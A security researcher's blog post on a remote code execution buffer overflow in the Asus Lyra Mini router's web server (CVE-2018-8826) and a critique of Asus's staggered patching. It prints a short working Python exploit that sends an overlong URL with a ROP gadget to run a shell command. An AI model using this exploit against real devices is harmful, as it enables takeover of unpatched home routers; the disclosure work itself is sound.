2018-08-31 11:00 | Lasse Trolle Borup

Asus Lyra Mini and a problematic patch process

In the spring, we decided to have a look at the state of security in embedded devices with a focus on home routers. We included the Asus Lyra product range, encouraged by their selling point that these devices could “Protect all devices on your home network” with their security features.

As it often turns out, even products focusing on security can suffer from the same issues in development as any other software. In this case, a bug in the Asus Lyra Mini and our communication with Asus gave us a glimpse into how security fixes are rolled out for Asus products. In this post, I will go through how I found the bug and what I learned about Asus' patching process when I reported it.

The firmware for the device can be downloaded from the Asus support page, and the current version at the time of writing was 3.0.0.4_382_11572.

Running binwalk on the unzipped firmware gave the following output:

binwalk

Running binwalk with -e will successfully carve and mount squashfs just fine in most cases:

extracted

After poking around in the different web related files for a while, I zoomed in on the web server executable, httpd, as it contained a lot of interesting parsing functionality handling the security around the dynamic web pages. When analyzing embedded web servers, I usually have an instance of the Burp proxy running to test requests and responses while browsing the disassembly.

Looking at an interesting code path containing a strcpy() call, I tested with a very long URL, and watched the server crash. After looking closer at the code, I determined that the code path I was looking at was not vulnerable, and that the crash had to be caused somewhere else. Testing revealed that almost any long URL would crash the server, making this a very obvious bug.

Having access to a debugging environment for the vulnerable application will often speed up the exploit development quite a bit. Luckily, the Asus Lyra Mini has an option for turning on an SSH server. With terminal access to the device we can both enable core dumps and/or deploy a precompiled gdbserver. I usually start by seeing if I can get the needed information from a few core dumps before resorting to setting up a gdb debugging session. Using gdb-multiarch to analyze the core dump, I found a return address on the stack that pointed me in the direction of the function causing the crash. Ironically, it was a buffer overflow located in function related to security. In the process of implementing functionality to prevent XSS (Cross Site Scripting), a remote code execution vulnerability had been introduced.

I wrote an exploit, and submitted the find to Asus. The exploit can be fitted in a few lines, as it consists of a single ROP gadget pivoting to the system() function, resulting in the execution of a command line from the stack:

import socket
cmd = b'sleep${IFS}10;reboot;exit;'
req = b'GET /' + (0x20C-0x1A1) * b'A' + cmd + (0x1A1-len(cmd)) * b'B' + b'\x80\x21\x03' + b' HTTP/1.1\n'
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.72.1',80))
sock.sendall(req)
sock.close()

At first, I did not receive a reply from Asus, and I wrote again after 10 days. This time they replied that the bug had already been reported and fixed as CVE-2018-8826 (found by Chris Wood) in another product, and that a fix for the Asus Lyra Mini was due in June. The router that was the target of the original bug report had a fixed firmware released in April.

In my opinion, this is a very problematic approach to patching. If a patch containing a fix for a vulnerability is released, it is a trivial matter to perform patch diffing and find the fixed vulnerability, at least for simple bugs like this. Knowing that embedded devices from the same vendor often share a lot of code, it is easy to locate the vulnerability in other unpatched devices from the same vendor. By following this patch process, Asus exposes the consumers to risk, by having published the map to a vulnerability, before fixing it in all affected products.

I suspect Asus might be aware that their approach is problematic, since the firmware for the Asus Lyra Mini released in June mentions other CVE's, but not CVE-2018-8826. Instead of having the same CVE listed in patches released with two months between them, and thereby highlighting that the bug has been known but not fixed in this period, the fix was integrated in the firmware without mentioning it. The few public descriptions for this CVE do still not list the Asus Lyra Mini as being vulnerable.

A primary driving factor in Asus’ patching process is probably to not disturb the users experience with their devices. However, I believe the end users would expect a more security aware patch process, especially when a product is marketed with a focus on security.

Note: I have not gone in to much depth with the attack surface and use cases for this bug, as some of our upcoming blog posts will elaborate more on this angle for other routers we have found bugs in.